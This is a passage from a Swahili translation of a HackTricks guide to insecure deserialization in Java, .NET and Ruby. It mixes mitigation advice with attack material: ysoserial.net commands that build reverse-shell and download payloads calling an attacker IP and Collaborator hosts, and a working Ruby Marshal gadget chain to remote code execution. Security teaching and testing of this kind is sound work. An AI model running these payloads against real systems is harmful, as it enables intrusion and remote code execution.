ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Kutumia Maktaba za Nje kwa Usalama Ulioboreshwa: Maktaba kama vile NotSoSerial, jdeserialize, na Kryo zinatoa huduma za hali ya juu kwa udhibiti na ufuatiliaji wa deserialization ya Java. Maktaba hizi zinaweza kutoa safu za ziada za usalama, kama vile kuweka orodha nyeupe au nyeusi ya darasa, kuchambua vitu vilivyosimbwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya usimbaji.

  • NotSoSerial inazuia mchakato wa deserialization ili kuzuia utekelezaji wa nambari isiyotegemewa.
  • jdeserialize inaruhusu uchambuzi wa vitu vilivyosimbwa vya Java bila kusimbua, ikisaidia kutambua yaliyomo yanayoweza kuwa na nia mbaya.
  • Kryo ni mfumo mbadala wa usimbaji ambao unasisitiza kasi na ufanisi, ukitoa mikakati ya usimbaji inayoweza kusanidiwa ambayo inaweza kuimarisha usalama.

Marejeo

Uingizaji wa JNDI na log4Shell

Pata kile Uingizaji wa JNDI ni nini, jinsi ya kuitumia kupitia RMI, CORBA, na LDAP na jinsi ya kufaidika na log4shell (na mfano wa udhaifu huu) katika ukurasa ufuatao:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Huduma ya Ujumbe ya Java

API ya Huduma ya Ujumbe ya Java (JMS) ni API ya Java ya kati ya ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kutatua tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na maelezo yaliyotengenezwa na Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu sehemu za programu zinazotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya sehemu tofauti za programu iliyosambazwa kuwa huru, ya kuaminika, na ya kusubiri. (Kutoka Wikipedia).

Bidhaa

Kuna bidhaa kadhaa zinazotumia huduma hii ya kati ya ujumbe kutuma ujumbe:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Ufisadi

Kwa hiyo, kimsingi kuna huduma kadhaa zinazotumia JMS kwa njia hatari. Kwa hivyo, ikiwa una mamlaka ya kutosha kutuma ujumbe kwa huduma hizi (kawaida utahitaji vitambulisho halali) unaweza kuwa na uwezo wa kutuma vitu vilivyosimbwa vibaya ambavyo vitasimbwa upya na mtumiaji/mpokeaji. Hii inamaanisha kuwa katika udanganyifu huu, wateja wote wanaotumia ujumbe huo wataambukizwa.

Lazima ukumbuke kwamba hata ikiwa huduma ni dhaifu (kwa sababu inasimbua kuingia kwa mtumiaji kwa njia isiyofaa), bado unahitaji kupata vifaa sahihi vya kufaidika na udhaifu huo.

Zana ya JMET iliumbwa ili kuunganisha na kushambulia huduma hizi kwa kutuma vitu vilivyosimbwa vibaya kwa kutumia vifaa vilivyojulikana. Mashambulizi haya yatafanya kazi ikiwa huduma bado ni dhaifu na ikiwa kifaa chochote kilichotumiwa kipo ndani ya programu dhaifu.

Marejeo

.Net

Katika muktadha wa .Net, udanganyifu wa deserialization hufanya kazi kwa njia kama ile inayopatikana katika Java, ambapo vifaa vinatumika kufanya nambari maalum iendelee wakati wa deserialization ya kitu.

Kuchunguza Alama za Vidole

WhiteBox

Msimbo wa chanzo unapaswa kukaguliwa kwa kuwepo kwa:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Uzingatiaji unapaswa kuwa kwenye zana za kubadilisha data ambazo huruhusu aina ya data kuamuliwa na kivinjari kinachodhibitiwa na mtumiaji.

BlackBox

Utafutaji unapaswa kulenga kwenye herufi zilizofichwa kwa msingi wa Base64 AAEAAAD///// au mfano wowote unaofanana ambao unaweza kufanyiwa deserialization upande wa seva, ukiruhusu udhibiti juu ya aina ya data inayofanyiwa deserialization. Hii inaweza kujumuisha, lakini sio tu, muundo wa JSON au XML unaotumia TypeObject au $type.

ysoserial.net

Katika kesi hii, unaweza kutumia zana ysoserial.net ili kuunda mashambulizi ya deserialization. Mara baada ya kupakua hifadhi ya git, unapaswa kukusanya zana hiyo kwa kutumia Visual Studio kwa mfano.

Ikiwa unataka kujifunza kuhusu jinsi ysoserial.net inavyounda mashambulizi yake, unaweza kutembelea ukurasa huu ambapo inaelezwa kifaa cha ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Chaguo kuu za ysoserial.net ni: --gadget, --formatter, --output na --plugin.

  • --gadget hutumiwa kuonyesha kifaa cha kutumia (onyesha darasa/fungsi ambayo itatumika wakati wa deserialization ili kutekeleza amri).
  • --formatter, hutumiwa kuonyesha njia ya kubadilisha data ya mashambulizi (unahitaji kujua ni maktaba gani inayotumiwa na seva ya nyuma ili kubadilisha data na utumie hiyo hiyo kubadilisha data).
  • --output hutumiwa kuonyesha ikiwa unataka mashambulizi kuwa katika muundo wa raw au base64. Tafadhali kumbuka kwamba ysoserial.net ita ficha data ya mashambulizi kwa kutumia UTF-16LE (muundo wa kawaida unaotumiwa na Windows) kwa hivyo ikiwa unapata data ya mashambulizi na kuiweka tu kwenye konsoli ya Linux, unaweza kukutana na matatizo ya utangamano wa muundo ambayo yatasababisha mashambulizi kutofanya kazi vizuri (kwenye sanduku la HTB JSON, data ya mashambulizi ilifanya kazi kwa UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati).
  • --plugin ysoserial.net inasaidia programu-jalizi za kuunda mashambulizi kwa fremu maalum kama ViewState

Vigezo Zaidi vya ysoserial.net

  • --minify itatoa data ya mashambulizi ndogo (ikiwezekana)
  • --raf -f Json.Net -c "chochote" Hii itaonyesha vifaa vyote vinavyoweza kutumika na kubadilisha data iliyotolewa (Json.Net katika kesi hii)
  • --sf xml unaweza kuonyesha kifaa (-g) na ysoserial.net itatafuta kubadilisha data zinazohusiana na "xml" (bila kujali herufi kubwa au ndogo)

Mifano ya ysoserial ya kuunda mashambulizi:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net pia ina parameta ya kuvutia sana ambayo inasaidia kuelewa jinsi kila shambulio linavyofanya kazi: --test
Ikiwa unaweka parameta hii, ysoserial.net itajaribu shambulio kwenye kompyuta yako, hivyo unaweza kujaribu kama mzigo wako utafanya kazi kwa usahihi.
Parameta hii ni muhimu kwa sababu ikiwa utapitia nambari utapata sehemu za nambari kama hii ifuatayo (kutoka ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Hii inamaanisha kwamba ili kujaribu kutumia udanganyifu, namna ya kificho itaita serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Katika msimbo uliopita una hatari ya kudukuliwa. Kwa hivyo, ikiwa unapata kitu kama hicho katika programu ya .Net, inamaanisha kuwa labda programu hiyo pia ina hatari.
Kwa hivyo, parameter ya --test inaturuhusu kuelewa vipande vipi vya msimbo vina hatari ya kudukuliwa kwa kutumia udanganyifu wa deserialization ambao ysoserial.net inaweza kuunda.

ViewState

Angalia POST hii kuhusu jinsi ya kujaribu kudukua parameter ya __ViewState ya .Net ili kutekeleza msimbo wa kiholela. Ikiwa tayari unajua siri zinazotumiwa na mashine ya mwathirika, soma chapisho hili ili kujua jinsi ya kutekeleza msimbo.

Kuzuia

Ili kupunguza hatari zinazohusiana na deserialization katika .Net:

  • Epuka kuruhusu mtiririko wa data kuamua aina zake za vitu. Tumia DataContractSerializer au XmlSerializer iwezekanavyo.

  • Kwa JSON.Net, weka TypeNameHandling kuwa None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Epuka kutumia JavaScriptSerializer na JavaScriptTypeResolver.

  • Punguza aina zinazoweza kudukuliwa, ukitambua hatari zilizojumuishwa na aina za .Net, kama vile System.IO.FileInfo, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukataa huduma.

  • Kuwa makini na aina zenye mali hatari, kama vile System.ComponentModel.DataAnnotations.ValidationException na mali yake ya Value, ambayo inaweza kudukuliwa.

  • Dhibiti kwa usalama uanzishaji wa aina ili kuzuia wadukuzi kuathiri mchakato wa deserialization, hata kufanya DataContractSerializer au XmlSerializer kuwa na hatari.

  • Tumia udhibiti wa orodha nyeupe kwa kutumia SerializationBinder ya desturi kwa BinaryFormatter na JSON.Net.

  • Endelea kujulishwa kuhusu vitu vya deserialization visivyo salama katika .Net na hakikisha deserializers haziumbi aina hizo.

  • Tenga msimbo wenye hatari kutoka kwa msimbo unaofikia wavuti ili kuepuka kuweka vitu vya deserialization vinavyojulikana, kama vile System.Windows.Data.ObjectDataProvider katika programu za WPF, kwa vyanzo vya data zisizoaminika.

Marejeo

Ruby

Katika Ruby, usanifishaji unawezeshwa na njia mbili ndani ya maktaba ya marshal. Njia ya kwanza, inayojulikana kama dump, hutumiwa kubadilisha kitu kuwa mtiririko wa herufi. Mchakato huu unaitwa usanifishaji. Kwa upande mwingine, njia ya pili, load, hutumiwa kurejesha mtiririko wa herufi kuwa kitu, mchakato unaojulikana kama deserialization.

Kwa kusimamia vitu vilivyosanifishwa, Ruby hutumia HMAC (Hash-Based Message Authentication Code), ikidhibitisha uadilifu na uhalali wa data. Neno la siri linalotumiwa kwa kusudi hili linahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Mnyororo wa vitu vya deserialization ya kawaida ya Ruby 2.X hadi RCE (taarifa zaidi katika https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Mnyororo mwingine wa RCE kwa kufaidika na Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: